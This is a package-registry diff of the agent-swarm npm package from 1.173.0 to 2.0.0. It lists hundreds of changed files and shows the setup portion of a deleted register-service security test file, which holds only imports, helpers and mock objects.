@desplega.ai/agent-swarm 1.173.0 → 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (432) hide show
  1. package/README.md +1 -1
  2. package/dist/{acp-adapter-ccm9xrep.js → acp-adapter-sj2g0m84.js} +17 -16
  3. package/dist/{actions-sgeyv08k.js → actions-fegk44gr.js} +39 -34
  4. package/dist/{amp-adapter-gpxp3kc9.js → amp-adapter-ad8ft89x.js} +8 -7
  5. package/dist/{app-km9qnv2f.js → app-kfvgbvzy.js} +18 -14
  6. package/dist/{assistant-5r8tcvvd.js → assistant-z7zdy9ja.js} +40 -35
  7. package/dist/{boot-reembed-swwzdgd7.js → boot-reembed-5c2z0mbe.js} +10 -9
  8. package/dist/{boot-reembed-16rv9843.js → boot-reembed-j8xa181e.js} +10 -9
  9. package/dist/{boot-scrub-sweep-zkr6vkqb.js → boot-scrub-sweep-hnkn3rgt.js} +11 -10
  10. package/dist/{boot-seeds-d8sp49t2.js → boot-seeds-kwjq4d2z.js} +14 -13
  11. package/dist/{claude-adapter-yzzzh8jp.js → claude-adapter-9vmvpvgd.js} +19 -18
  12. package/dist/{claude-managed-adapter-xgxhqrt2.js → claude-managed-adapter-k9qae05j.js} +7 -5
  13. package/dist/{claude-managed-setup-bnmjarjc.js → claude-managed-setup-q54zx5q2.js} +6 -4
  14. package/dist/{claude-sdk-session-4whxere4.js → claude-sdk-session-9jye6cxr.js} +11881 -11472
  15. package/dist/{cli-94b48jhk.js → cli-03gedhng.js} +16 -14
  16. package/dist/{cli-1w0vj3gw.js → cli-1e4b6bzh.js} +7 -7
  17. package/dist/{cli-d603qf86.js → cli-29jc5q7w.js} +10 -8
  18. package/dist/cli-2m1ktfzz.js +17795 -0
  19. package/dist/{cli-x119kdba.js → cli-3dj8k4vy.js} +1 -1
  20. package/dist/{cli-srqq3gc5.js → cli-3fbmmawm.js} +5 -5
  21. package/dist/{cli-gmdajfw5.js → cli-4jxm2qtz.js} +4987 -1708
  22. package/dist/{cli-tadfgd0t.js → cli-5hkm7whv.js} +33 -4
  23. package/dist/{cli-42qhyvwx.js → cli-5t4f29ez.js} +3 -3
  24. package/dist/{cli-7a0sde2x.js → cli-6cagzc96.js} +9 -0
  25. package/dist/cli-6cvfxs8r.js +47 -0
  26. package/dist/{cli-0kxf81jj.js → cli-6jyj59nb.js} +2 -2
  27. package/dist/{cli-w1apjecb.js → cli-6razj6t4.js} +2 -2
  28. package/dist/{cli-anzdk0z4.js → cli-74ahz61x.js} +2 -2
  29. package/dist/{cli-m89t9jdf.js → cli-7x0g4sn1.js} +15416 -16024
  30. package/dist/{cli-yatxqynm.js → cli-9ha6hs2d.js} +1 -290
  31. package/dist/{cli-81r1wjyv.js → cli-9nfx44eh.js} +1 -1
  32. package/dist/cli-9traj3dn.js +638 -0
  33. package/dist/{cli-smcrrmhy.js → cli-agzebbd5.js} +9 -9
  34. package/dist/{cli-na2pxe4f.js → cli-apx87jne.js} +2 -2
  35. package/dist/{cli-rfz2ve55.js → cli-bzszjf2p.js} +2855 -862
  36. package/dist/{cli-c5km5znr.js → cli-c8r3kzzb.js} +1 -1
  37. package/dist/{cli-hsem16hb.js → cli-cgtksawx.js} +7 -4
  38. package/dist/{cli-db3m6zdt.js → cli-d2qr7aj4.js} +1 -1
  39. package/dist/{cli-rfs4vddv.js → cli-d5f9ed5c.js} +5 -5
  40. package/dist/cli-e3g5mbkz.js +776 -0
  41. package/dist/{cli-7jykv7ef.js → cli-e6mpjhed.js} +1 -1
  42. package/dist/{cli-7a93cv8c.js → cli-ee9gtz70.js} +98 -23
  43. package/dist/{cli-3nxdmjrc.js → cli-eejsgvm4.js} +4 -4
  44. package/dist/{cli-fmhj1ehj.js → cli-ef1hg1wv.js} +470 -51
  45. package/dist/cli-f527ce74.js +781 -0
  46. package/dist/{cli-ppy4nnnh.js → cli-f7kr7svz.js} +2 -2
  47. package/dist/cli-hjwmhcg1.js +10622 -0
  48. package/dist/{cli-2bw3w47j.js → cli-hnhtk6cj.js} +1 -1
  49. package/dist/{cli-ywm1azg9.js → cli-hnmhtzvh.js} +6 -4
  50. package/dist/{cli-h7k0xtry.js → cli-hvqbtna4.js} +4 -1256
  51. package/dist/{cli-s8z6x4b4.js → cli-j0pfptdp.js} +218 -102
  52. package/dist/cli-jta2eyzc.js +619 -0
  53. package/dist/{cli-5er5gjbm.js → cli-k382tshb.js} +10 -11
  54. package/dist/{cli-v3zhnxsb.js → cli-k3dp5tpf.js} +2 -2
  55. package/dist/{cli-wd0hz6ah.js → cli-kbrt8gqa.js} +9 -91
  56. package/dist/cli-kceah1eh.js +92 -0
  57. package/dist/{cli-ne7smj1b.js → cli-ke896fcf.js} +10 -10
  58. package/dist/{cli-xc7p7s3g.js → cli-kt6zqg0e.js} +6 -6
  59. package/dist/{cli-wrh08zjd.js → cli-m50t4309.js} +5 -18
  60. package/dist/cli-n2wq4j7m.js +6985 -0
  61. package/dist/{cli-bv2etw2y.js → cli-n3hzg89b.js} +46 -15
  62. package/dist/{cli-tmhsxhb8.js → cli-n5vwg842.js} +23 -6
  63. package/dist/{cli-qm1448f9.js → cli-ne236afy.js} +8 -8
  64. package/dist/{cli-d161g69q.js → cli-p1x85d2t.js} +50 -2
  65. package/dist/{cli-7pz3b7x5.js → cli-przpmdgr.js} +25 -0
  66. package/dist/{cli-0a7mm3zp.js → cli-q0ke1yww.js} +25 -21
  67. package/dist/{cli-e3pmyt39.js → cli-q50942rs.js} +1 -1
  68. package/dist/{cli-r44t9wqc.js → cli-r106725k.js} +2 -2
  69. package/dist/{cli-phcqp1b9.js → cli-r2pnvj8g.js} +2 -2
  70. package/dist/{cli-jpc4r224.js → cli-r62a35ea.js} +19 -3
  71. package/dist/{cli-cd0hv9nh.js → cli-ra0xzggj.js} +2 -2
  72. package/dist/cli-rhs9pz33.js +294 -0
  73. package/dist/{cli-r4fqfpwf.js → cli-s2sp957d.js} +50 -27
  74. package/dist/{cli-1x7da0de.js → cli-s4setq91.js} +8 -8
  75. package/dist/{cli-6thk4jz3.js → cli-se8w6wny.js} +6 -6
  76. package/dist/cli-skxvvpap.js +10140 -0
  77. package/dist/{cli-014vns2y.js → cli-stfs0k5s.js} +208 -525
  78. package/dist/{cli-0p3enk35.js → cli-tqaazemc.js} +9 -1
  79. package/dist/{cli-nwrdx840.js → cli-tr4sxp68.js} +3 -3
  80. package/dist/{cli-r0byd61h.js → cli-tsde1hdr.js} +15 -15
  81. package/dist/{cli-b07hr3bt.js → cli-txqb9s38.js} +2 -2
  82. package/dist/{cli-6r2f7edk.js → cli-v1yb0rqb.js} +6 -6
  83. package/dist/{cli-saqyage0.js → cli-vatyhshy.js} +179 -27
  84. package/dist/{cli-5wpw4rab.js → cli-vdach5a9.js} +5 -5
  85. package/dist/{cli-7avy4v8w.js → cli-w1q7h2r2.js} +5 -3
  86. package/dist/{cli-rcp5aqdw.js → cli-w7m81tb7.js} +1 -1
  87. package/dist/{cli-c3rk1v0x.js → cli-wayw93nt.js} +3 -3
  88. package/dist/cli-wmgrkscj.js +23254 -0
  89. package/dist/{cli-9xf7fdtp.js → cli-z5jjpaxw.js} +29 -6
  90. package/dist/{cli-451ks6aw.js → cli-zkpks3r3.js} +1 -1
  91. package/dist/cli.js +29 -45
  92. package/dist/{codex-adapter-r3dn4fp5.js → codex-adapter-y81sssk0.js} +15 -14
  93. package/dist/{codex-login-841kv5fk.js → codex-login-f2rcfpp9.js} +3 -2
  94. package/dist/{codex-session-runner-fwt793h4.js → codex-session-runner-8vx4j6a9.js} +15 -14
  95. package/dist/{commands-z8fq9qna.js → commands-kcpvpcrr.js} +11 -10
  96. package/dist/{controller-hq5ggpcp.js → controller-ywrmt6yd.js} +5 -4
  97. package/dist/{controllers-connect-3mf2btyj.js → controllers-connect-kwpvj3rf.js} +42 -37
  98. package/dist/{cursor-adapter-q8pgv5qa.js → cursor-adapter-cehv1qns.js} +7 -6
  99. package/dist/{db-yyhqqrbf.js → db-k8ankj20.js} +12 -11
  100. package/dist/{db-qfpq4bt7.js → db-ww5d7jq3.js} +28 -9
  101. package/dist/{devin-adapter-xgtj680j.js → devin-adapter-x1022qb1.js} +3 -2
  102. package/dist/{dispatcher-x0x7qfcq.js → dispatcher-e8gq5m68.js} +38 -33
  103. package/dist/{docker-f503k9p0.js → docker-ff6y1190.js} +3 -2
  104. package/dist/{dsh-adapter-34etvb5m.js → dsh-adapter-3epjm3af.js} +7 -6
  105. package/dist/{e2b-66xra4az.js → e2b-8ygwhg0f.js} +4 -3
  106. package/dist/{e2b-xwhyj8cw.js → e2b-swhnpw3n.js} +4 -3
  107. package/dist/{event-bus-vjtv82gm.js → event-bus-6axnngdj.js} +3 -2
  108. package/dist/{external-channel-h1fjecwe.js → external-channel-h3359cwn.js} +11 -10
  109. package/dist/{google-generative-ai-szdxbpqg.js → google-generative-ai-g8db7x0f.js} +4 -2
  110. package/dist/{google-vertex-qzw3p36d.js → google-vertex-r2692q0r.js} +4 -2
  111. package/dist/{grok-adapter-e7mr287e.js → grok-adapter-0d4x7gkx.js} +18 -17
  112. package/dist/{handlers-znb9n7d4.js → handlers-an1gzv21.js} +41 -36
  113. package/dist/{heartbeat-bm4qkn8d.js → heartbeat-6dakeb61.js} +43 -38
  114. package/dist/{hook-254r4mza.js → hook-6v6cv6d5.js} +11 -23
  115. package/dist/{hook-xaa3q80s.js → hook-sa5xye4y.js} +12 -11
  116. package/dist/{http-3dgrgp8y.js → http-r7f3eky0.js} +1499 -251
  117. package/dist/index-52j1aja4.js +3465 -0
  118. package/dist/{index-fx3jqq1e.js → index-7ep4gzdk.js} +38 -33
  119. package/dist/index-9gw58n4k.js +193 -0
  120. package/dist/index-9j87mcm8.js +56305 -0
  121. package/dist/index-bsmcresk.js +79424 -0
  122. package/dist/index-mh85qhec.js +475 -0
  123. package/dist/{index-g2byveez.js → index-rmpw9a8q.js} +38 -33
  124. package/dist/{index-2ybk7khy.js → index-s2wxgzr0.js} +468 -683
  125. package/dist/{index-bdsqa799.js → index-v1v6n7hg.js} +43 -38
  126. package/dist/index-we27kd31.js +12810 -0
  127. package/dist/{index-jd7sejm2.js → index-zk96aq1k.js} +10 -9
  128. package/dist/{keepalive-6ywhpja1.js → keepalive-be9vwy5h.js} +12 -11
  129. package/dist/{lead-cw45n21s.js → lead-0861cwrf.js} +61 -56
  130. package/dist/{maintenance-ss1a1ge9.js → maintenance-mzzgc8bn.js} +10 -9
  131. package/dist/{node-fkajaq96.js → node-mn1zs7an.js} +2 -1
  132. package/dist/{oauth-refresh-sweep-3c6f8vyy.js → oauth-refresh-sweep-cpdnfwdj.js} +11 -10
  133. package/dist/{onboard-8hzdhc1k.js → onboard-fh8qs4r3.js} +11 -3
  134. package/dist/{opencode-adapter-qbchbcfz.js → opencode-adapter-nm42wwj8.js} +18 -13
  135. package/dist/{otel-impl-e6mnvc4v.js → otel-impl-x6c1c9g4.js} +242 -868
  136. package/dist/{pi-mono-adapter-3c9g9snh.js → pi-mono-adapter-9n2ya240.js} +244 -106
  137. package/dist/{pricing-refresh-gedkjdw0.js → pricing-refresh-qb0rv0ap.js} +12 -11
  138. package/dist/{rbac-roles-dt4vh1yy.js → rbac-roles-1gzdwbh1.js} +11 -10
  139. package/dist/{rbac-roles-eszdg6pm.js → rbac-roles-3mraey52.js} +12 -11
  140. package/dist/{render-v2-907cy6sa.js → render-v2-agpa45zz.js} +18 -14
  141. package/dist/{resume-42stcaz0.js → resume-x0ydy9s9.js} +25 -21
  142. package/dist/{runtime-qfry88v2.js → runtime-sa2vr16g.js} +2 -2
  143. package/dist/{setup-adbc1c10.js → setup-as9ga0d6.js} +2 -2
  144. package/dist/{virtual-modules-rtmt494q.js → virtual-modules-9gkxqrap.js} +6 -5
  145. package/dist/{work-objects-wpj8ck95.js → work-objects-y5g1y7ev.js} +41 -36
  146. package/dist/{worker-bzdra9rf.js → worker-860c3e38.js} +61 -56
  147. package/dist/{x-qfmygqqv.js → x-m477fr0h.js} +3 -2
  148. package/openapi.json +523 -344
  149. package/package.json +10 -11
  150. package/src/be/config-refs.ts +60 -0
  151. package/src/be/db/page-versions.ts +15 -0
  152. package/src/be/db/runtime.ts +35 -8
  153. package/src/be/db/skill-name-resolution.ts +36 -0
  154. package/src/be/db/tasks/read.ts +230 -0
  155. package/src/be/db/tasks/write.ts +7 -0
  156. package/src/be/db.ts +52 -7
  157. package/src/be/migrations/215_swarm_config_export_to_env.sql +34 -0
  158. package/src/be/migrations/216_task_resolved_effort.sql +5 -0
  159. package/src/be/migrations/217_chat_sdk_state.sql +104 -0
  160. package/src/be/model-catalog-store.ts +5 -1
  161. package/src/be/model-tier-resolution.ts +12 -1
  162. package/src/be/model-validation.ts +5 -2
  163. package/src/be/models-catalog.ts +26 -1
  164. package/src/be/modelsdev-cache.json +198 -63
  165. package/src/be/modelsdev-cache.ts +9 -1
  166. package/src/be/script-credential-broker.ts +39 -2
  167. package/src/be/scripts/run-saved.ts +1 -0
  168. package/src/be/scripts/typecheck.ts +10 -8
  169. package/src/be/seed/runner.ts +13 -1
  170. package/src/be/seed/state-db.ts +5 -0
  171. package/src/be/seed/types.ts +6 -0
  172. package/src/be/seed-pricing.ts +19 -2
  173. package/src/be/seed-scripts/catalog/ops-catalog-audit.inline.ts +1 -1
  174. package/src/be/seed-scripts/catalog/ops-catalog-audit.ts +1 -1
  175. package/src/be/seed-skills/bundled-files.generated.json +0 -18
  176. package/src/be/seed-skills/index.ts +104 -3
  177. package/src/be/swarm-config-guard.ts +52 -0
  178. package/src/cli.tsx +0 -16
  179. package/src/commands/onboard/non-interactive.ts +4 -2
  180. package/src/commands/provider-credentials.ts +52 -6
  181. package/src/commands/runner.ts +190 -54
  182. package/src/e2b/env.ts +5 -0
  183. package/src/extensions/contract-types.generated.ts +1 -1
  184. package/src/extensions/contract.ts +45 -0
  185. package/src/extensions/dispatcher.ts +7 -0
  186. package/src/extensions/post-bridge.ts +40 -0
  187. package/src/github/handlers.ts +11 -4
  188. package/src/heartbeat/templates.ts +8 -5
  189. package/src/hooks/hook.ts +0 -26
  190. package/src/http/all-routes.ts +0 -1
  191. package/src/http/config.ts +36 -17
  192. package/src/http/core.ts +4 -0
  193. package/src/http/index.ts +14 -2
  194. package/src/http/integrations.ts +88 -1
  195. package/src/http/mcp.ts +15 -5
  196. package/src/http/page-proxy.ts +2 -4
  197. package/src/http/pages-public.ts +3 -3
  198. package/src/http/pages.ts +3 -13
  199. package/src/http/poll.ts +28 -68
  200. package/src/http/requested-by.ts +54 -0
  201. package/src/http/scripts.ts +1 -0
  202. package/src/http/stats.ts +1 -30
  203. package/src/http/tasks.ts +61 -5
  204. package/src/http/utils.ts +14 -0
  205. package/src/http/webhooks.ts +159 -1
  206. package/src/http/x.ts +1 -0
  207. package/src/integrations/chat-sdk/adapters.ts +129 -0
  208. package/src/integrations/chat-sdk/attachments.ts +232 -0
  209. package/src/integrations/chat-sdk/background.ts +36 -0
  210. package/src/integrations/chat-sdk/commands.ts +194 -0
  211. package/src/integrations/chat-sdk/config.ts +198 -0
  212. package/src/integrations/chat-sdk/discord-api.ts +63 -0
  213. package/src/integrations/chat-sdk/discord-gateway.ts +185 -0
  214. package/src/integrations/chat-sdk/handlers.ts +28 -0
  215. package/src/integrations/chat-sdk/inbound.ts +426 -0
  216. package/src/integrations/chat-sdk/limits.ts +48 -0
  217. package/src/integrations/chat-sdk/logger.ts +81 -0
  218. package/src/integrations/chat-sdk/outbound.ts +123 -0
  219. package/src/integrations/chat-sdk/relay.ts +172 -0
  220. package/src/integrations/chat-sdk/router.ts +169 -0
  221. package/src/integrations/chat-sdk/runtime.ts +351 -0
  222. package/src/integrations/chat-sdk/schema.ts +245 -0
  223. package/src/integrations/chat-sdk/state.ts +243 -0
  224. package/src/integrations/chat-sdk/status.ts +244 -0
  225. package/src/integrations/chat-sdk/steering.ts +58 -0
  226. package/src/integrations/chat-sdk/teams-origin.ts +77 -0
  227. package/src/integrations/chat-sdk/telegram-api.ts +56 -0
  228. package/src/integrations/chat-sdk/templates.ts +16 -0
  229. package/src/integrations/chat-sdk/test-hooks.ts +37 -0
  230. package/src/integrations/chat-sdk/thread-buffer.ts +100 -0
  231. package/src/integrations/chat-sdk/typing.ts +65 -0
  232. package/src/pages/version.ts +4 -5
  233. package/src/prompts/base-prompt.ts +111 -45
  234. package/src/providers/acp-target-catalog.ts +6 -0
  235. package/src/providers/acp-targets.ts +55 -2
  236. package/src/providers/amp-adapter.ts +1 -1
  237. package/src/providers/claude-adapter.ts +1 -1
  238. package/src/providers/claude-flag-settings.ts +17 -5
  239. package/src/providers/claude-managed-adapter.ts +1 -1
  240. package/src/providers/claude-session-events.ts +6 -1
  241. package/src/providers/dsh-adapter.ts +1 -1
  242. package/src/providers/opencode-adapter.ts +243 -26
  243. package/src/providers/opencode-swarm-plugin.ts +31 -0
  244. package/src/providers/pi-mono-adapter.ts +398 -153
  245. package/src/providers/pricing-sources.md +33 -2
  246. package/src/providers/reasoning-effort.ts +27 -0
  247. package/src/providers/types.ts +6 -2
  248. package/src/rbac/legacy-policy.ts +8 -2
  249. package/src/rbac/permissions.ts +21 -0
  250. package/src/scheduler/scheduler.ts +4 -2
  251. package/src/scripts-runtime/loader.ts +19 -7
  252. package/src/scripts-runtime/sdk-allowlist.ts +8 -6
  253. package/src/scripts-runtime/swarm-sdk.ts +0 -11
  254. package/src/scripts-runtime/types/stdlib.d.ts +27 -15
  255. package/src/scripts-runtime/types/swarm-extension.d.ts +63 -1
  256. package/src/scripts-runtime/types/swarm-sdk.d.ts +27 -15
  257. package/src/server.ts +52 -18
  258. package/src/slack/event-dedup.ts +1 -1
  259. package/src/tasks/additive-buffer.ts +4 -2
  260. package/src/tasks/context-key.ts +60 -1
  261. package/src/tasks/model-pin.ts +67 -0
  262. package/src/tasks/worker-follow-up.ts +4 -31
  263. package/src/tests/acp-adapter.test.ts +42 -0
  264. package/src/tests/api-drain-worker-e2e.test.ts +1 -6
  265. package/src/tests/base-prompt.test.ts +58 -54
  266. package/src/tests/chat-sdk-commands.test.ts +191 -0
  267. package/src/tests/chat-sdk-config.test.ts +334 -0
  268. package/src/tests/chat-sdk-discord-api.test.ts +68 -0
  269. package/src/tests/chat-sdk-discord-gateway.test.ts +252 -0
  270. package/src/tests/chat-sdk-discord-webhook.test.ts +126 -0
  271. package/src/tests/chat-sdk-fields-sync.test.ts +50 -0
  272. package/src/tests/chat-sdk-harness.ts +146 -0
  273. package/src/tests/chat-sdk-inbound.test.ts +363 -0
  274. package/src/tests/chat-sdk-relay.test.ts +470 -0
  275. package/src/tests/chat-sdk-reload.test.ts +128 -0
  276. package/src/tests/chat-sdk-shutdown.test.ts +220 -0
  277. package/src/tests/chat-sdk-slack.test.ts +268 -0
  278. package/src/tests/chat-sdk-state.test.ts +163 -0
  279. package/src/tests/chat-sdk-status-route.test.ts +382 -0
  280. package/src/tests/chat-sdk-teams.test.ts +277 -0
  281. package/src/tests/chat-sdk-tools.test.ts +520 -0
  282. package/src/tests/chat-sdk-typing.test.ts +120 -0
  283. package/src/tests/chat-sdk-webhook-telegram.test.ts +200 -0
  284. package/src/tests/claude-adapter-binary.test.ts +9 -4
  285. package/src/tests/claude-flag-settings.test.ts +11 -3
  286. package/src/tests/claude-managed-adapter.test.ts +1 -1
  287. package/src/tests/claude-sdk-lifecycle.test.ts +9 -3
  288. package/src/tests/claude-thinking-tokens.test.ts +57 -0
  289. package/src/tests/claude-worker-parity.test.ts +2 -7
  290. package/src/tests/config-env-export-chat-sdk.test.ts +11 -0
  291. package/src/tests/config-refs.test.ts +66 -0
  292. package/src/tests/context-key.test.ts +19 -0
  293. package/src/tests/cors-allowlist.test.ts +25 -0
  294. package/src/tests/create-page-tool.test.ts +18 -0
  295. package/src/tests/credential-check.test.ts +139 -0
  296. package/src/tests/credentials.test.ts +21 -0
  297. package/src/tests/db-runtime.test.ts +61 -0
  298. package/src/tests/db-task-read-contract.test.ts +20 -0
  299. package/src/tests/db-task-write-contract.test.ts +10 -0
  300. package/src/tests/docs-index-footprint.test.js +3 -3
  301. package/src/tests/dsh-adapter.test.ts +1 -1
  302. package/src/tests/enabled-capabilities.test.ts +20 -0
  303. package/src/tests/entrypoint-api-readiness.test.ts +14 -8
  304. package/src/tests/entrypoint-config-env-export.test.ts +5 -2
  305. package/src/tests/entrypoint-export-to-env.test.ts +78 -0
  306. package/src/tests/explicit-model-validation.test.ts +105 -1
  307. package/src/tests/extensions-example-route-chat-channel.test.ts +154 -0
  308. package/src/tests/extensions-post-bridge.test.ts +51 -0
  309. package/src/tests/fetch-resolved-env.test.ts +128 -0
  310. package/src/tests/fixtures/chat-sdk/telegram-private-text.json +10 -0
  311. package/src/tests/fixtures/extensions/route-chat-channel-to-agent/hooks.ts +27 -0
  312. package/src/tests/fixtures/extensions/route-chat-channel-to-agent/manifest.json +9 -0
  313. package/src/tests/fixtures/openai-compatible-registry-extension.child.ts +146 -0
  314. package/src/tests/fixtures/runner-legacy-resume-prompt.ts +122 -0
  315. package/src/tests/github-handlers.test.ts +35 -0
  316. package/src/tests/harness-provider-resolution.test.ts +12 -0
  317. package/src/tests/heartbeat-checklist.test.ts +3 -2
  318. package/src/tests/hook-runtime-close.test.ts +0 -2
  319. package/src/tests/http-api-integration.test.ts +0 -25
  320. package/src/tests/migration-046-budgets.test.ts +17 -16
  321. package/src/tests/migration-217-chat-sdk-state.test.ts +113 -0
  322. package/src/tests/model-tier-resolution.test.ts +93 -0
  323. package/src/tests/models-catalog.test.ts +42 -1
  324. package/src/tests/openai-compatible-providers.test.ts +134 -0
  325. package/src/tests/openai-compatible-registry-extension.test.ts +42 -0
  326. package/src/tests/opencode-adapter.test.ts +216 -2
  327. package/src/tests/opencode-helmcode-sdk.test.ts +201 -0
  328. package/src/tests/opencode-shell-env.test.ts +145 -0
  329. package/src/tests/openrouter-base-url.test.ts +101 -151
  330. package/src/tests/page-proxy.test.ts +1 -1
  331. package/src/tests/pages-browser-sdk.test.ts +76 -0
  332. package/src/tests/pages-feedback.test.ts +1 -1
  333. package/src/tests/paused-tasks-requested-by.test.ts +102 -0
  334. package/src/tests/pi-custom-provider-fake-server.test.ts +442 -0
  335. package/src/tests/pi-mono-adapter.test.ts +385 -5
  336. package/src/tests/pi-shell-env.test.ts +170 -0
  337. package/src/tests/prompt-template-remaining.test.ts +35 -0
  338. package/src/tests/rbac-engine.test.ts +11 -3
  339. package/src/tests/runner-exit-after-tasks.test.ts +0 -4
  340. package/src/tests/runner-legacy-resume-prompt.test.ts +64 -0
  341. package/src/tests/script-connections.test.ts +2 -0
  342. package/src/tests/scripts-http.test.ts +201 -1
  343. package/src/tests/scripts-only-gating.test.ts +2 -3
  344. package/src/tests/scripts-runtime.test.ts +58 -40
  345. package/src/tests/secret-scrubber.test.ts +86 -0
  346. package/src/tests/seed-skills-bundled-files.test.ts +45 -53
  347. package/src/tests/seed-skills-retire.test.ts +182 -0
  348. package/src/tests/send-task-requester-gate.test.ts +58 -0
  349. package/src/tests/session-cost-recompute-unit.test.ts +46 -0
  350. package/src/tests/skill-get-name-resolution.test.ts +137 -0
  351. package/src/tests/sonnet-5-5-registry.test.ts +9 -1
  352. package/src/tests/swarm-config-export-to-env.test.ts +267 -0
  353. package/src/tests/swarm-config-reserved-keys.test.ts +16 -0
  354. package/src/tests/swarm-diff.test.ts +1 -1
  355. package/src/tests/task-model-effort-rerun.test.ts +164 -0
  356. package/src/tests/task-session-prompts.test.ts +132 -0
  357. package/src/tests/task-tool-manifest.test.ts +14 -0
  358. package/src/tests/task-tools-ctx.test.ts +2 -0
  359. package/src/tests/tool-annotations.test.ts +6 -6
  360. package/src/tests/ui-logs-parser.test.ts +43 -0
  361. package/src/tests/used-by-route.test.ts +6 -0
  362. package/src/tests/vercel-ai-gateway.test.ts +149 -0
  363. package/src/tests/workflow-swarm-script.test.ts +38 -0
  364. package/src/tests/workflow-wait-filter.test.ts +5 -3
  365. package/src/tools/chat-access.ts +41 -0
  366. package/src/tools/chat-open-dm.ts +59 -0
  367. package/src/tools/chat-post.ts +74 -0
  368. package/src/tools/chat-read-thread.ts +100 -0
  369. package/src/tools/chat-reply.ts +75 -0
  370. package/src/tools/create-page.ts +3 -13
  371. package/src/tools/model-catalog/index.ts +2 -1
  372. package/src/tools/register-chat-channel.ts +139 -0
  373. package/src/tools/send-task.ts +24 -0
  374. package/src/tools/skills/skill-get.ts +17 -9
  375. package/src/tools/swarm-config/get-config.ts +2 -1
  376. package/src/tools/swarm-config/list-config.ts +2 -1
  377. package/src/tools/swarm-config/set-config.ts +16 -3
  378. package/src/tools/tool-config.ts +8 -6
  379. package/src/types.ts +12 -2
  380. package/src/utils/config-env-export.ts +74 -0
  381. package/src/utils/credentials.test.ts +92 -0
  382. package/src/utils/credentials.ts +52 -4
  383. package/src/utils/harness-provider.ts +15 -6
  384. package/src/utils/runtime-model-catalog.ts +11 -1
  385. package/src/utils/secret-scrubber.ts +71 -2
  386. package/src/utils/task-tool-manifest.ts +19 -2
  387. package/src/workflows/executors/swarm-script.ts +1 -0
  388. package/templates/skills/agent-browser/SKILL.md +1 -1
  389. package/templates/skills/agent-browser/content.md +1 -1
  390. package/templates/skills/apps/SKILL.md +8 -1
  391. package/templates/skills/apps/content.md +8 -1
  392. package/templates/skills/chat-sdk/config.json +14 -0
  393. package/templates/skills/chat-sdk/content.md +84 -0
  394. package/templates/skills/composio-gmail/content.md +7 -0
  395. package/templates/skills/composio-google-docs/content.md +1 -1
  396. package/templates/skills/email-domain-health/config.json +14 -0
  397. package/templates/skills/email-domain-health/content.md +131 -0
  398. package/templates/skills/kv-storage/content.md +2 -2
  399. package/templates/skills/pages/content.md +8 -10
  400. package/templates/skills/swarm-extensions/content.md +2 -0
  401. package/templates/skills/swarm-scripts/SKILL.md +4 -2
  402. package/templates/skills/swarm-scripts/config.json +1 -1
  403. package/templates/skills/swarm-scripts/content.md +4 -2
  404. package/templates/skills/workflow-iterate/content.md +38 -0
  405. package/dist/artifact-eczsknc3.js +0 -3843
  406. package/dist/cli-bd957dgb.js +0 -153
  407. package/dist/cli-q51yprfq.js +0 -1104
  408. package/dist/cli-t1ze64h3.js +0 -811
  409. package/dist/cli-tcc4wd5d.js +0 -56471
  410. package/dist/index-9ch1n761.js +0 -1102
  411. package/src/artifact-sdk/index.ts +0 -2
  412. package/src/artifact-sdk/localtunnel.d.ts +0 -20
  413. package/src/artifact-sdk/port.ts +0 -12
  414. package/src/artifact-sdk/server.ts +0 -183
  415. package/src/artifact-sdk/tunnel.ts +0 -19
  416. package/src/commands/artifact.ts +0 -249
  417. package/src/http/ecosystem.ts +0 -77
  418. package/src/tests/artifact-commands.test.ts +0 -92
  419. package/src/tests/artifact-sdk.test.ts +0 -793
  420. package/src/tests/register-service-security.test.ts +0 -194
  421. package/src/tools/list-services.ts +0 -107
  422. package/src/tools/register-service.ts +0 -177
  423. package/src/tools/unregister-service.ts +0 -73
  424. package/src/tools/update-service-status.ts +0 -96
  425. package/templates/skills/artifacts/config.json +0 -14
  426. package/templates/skills/artifacts/content.md +0 -344
  427. package/templates/skills/artifacts/files/examples/approval-flow.ts +0 -34
  428. package/templates/skills/artifacts/files/examples/hono-dashboard.ts +0 -31
  429. package/templates/skills/artifacts/files/examples/multi-artifact.ts +0 -20
  430. package/templates/skills/artifacts/files/examples/static-report.sh +0 -17
  431. /package/src/{artifact-sdk → pages}/browser-sdk.ts +0 -0
  432. /package/src/{artifact-sdk → pages}/feedback-overlay.ts +0 -0
@@ -1,194 +0,0 @@
1
- import { afterAll, beforeAll, describe, expect, test } from "bun:test";
2
- import { unlink } from "node:fs/promises";
3
- import type { IncomingMessage, ServerResponse } from "node:http";
4
- import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
5
- import type { CallToolResult } from "@modelcontextprotocol/sdk/types.js";
6
- import { closeDb, createAgent, createService, getServiceByAgentAndName, initDb } from "../be/db";
7
- import { handleEcosystem } from "../http/ecosystem";
8
- import { registerRegisterServiceTool } from "../tools/register-service";
9
-
10
- const TEST_DB_PATH = "./test-register-service-security.sqlite";
11
-
12
- const WORKER_ID = "22222222-2222-4222-8222-222222222222";
13
- const OTHER_WORKER_ID = "33333333-3333-4333-8333-333333333333";
14
-
15
- type RegisteredTool = {
16
- handler: (args: unknown, extra: unknown) => Promise<CallToolResult>;
17
- };
18
-
19
- function callRegisterService(args: Record<string, unknown>, callerAgentId = WORKER_ID) {
20
- const server = new McpServer({ name: "test-register-service", version: "1.0.0" });
21
- registerRegisterServiceTool(server);
22
-
23
- const tools = (server as unknown as { _registeredTools: Record<string, RegisteredTool> })
24
- ._registeredTools;
25
- const tool = tools["register-service"];
26
- if (!tool) throw new Error("register-service not registered");
27
-
28
- return tool.handler(args, {
29
- sessionId: "test-session",
30
- requestInfo: { headers: { "x-agent-id": callerAgentId } },
31
- });
32
- }
33
-
34
- function structuredOf(result: CallToolResult) {
35
- return result.structuredContent as {
36
- success: boolean;
37
- message: string;
38
- service?: {
39
- agentId: string;
40
- name: string;
41
- script: string;
42
- interpreter?: string;
43
- args?: string[];
44
- };
45
- };
46
- }
47
-
48
- async function getEcosystemFor(agentId: string) {
49
- let statusCode = 0;
50
- let body = "";
51
- const req = { method: "GET" } as IncomingMessage;
52
- const res = {
53
- writeHead(status: number) {
54
- statusCode = status;
55
- return this;
56
- },
57
- end(chunk?: unknown) {
58
- body = String(chunk ?? "");
59
- return this;
60
- },
61
- } as unknown as ServerResponse;
62
-
63
- const handled = await handleEcosystem(req, res, ["ecosystem"], agentId);
64
- return {
65
- handled,
66
- statusCode,
67
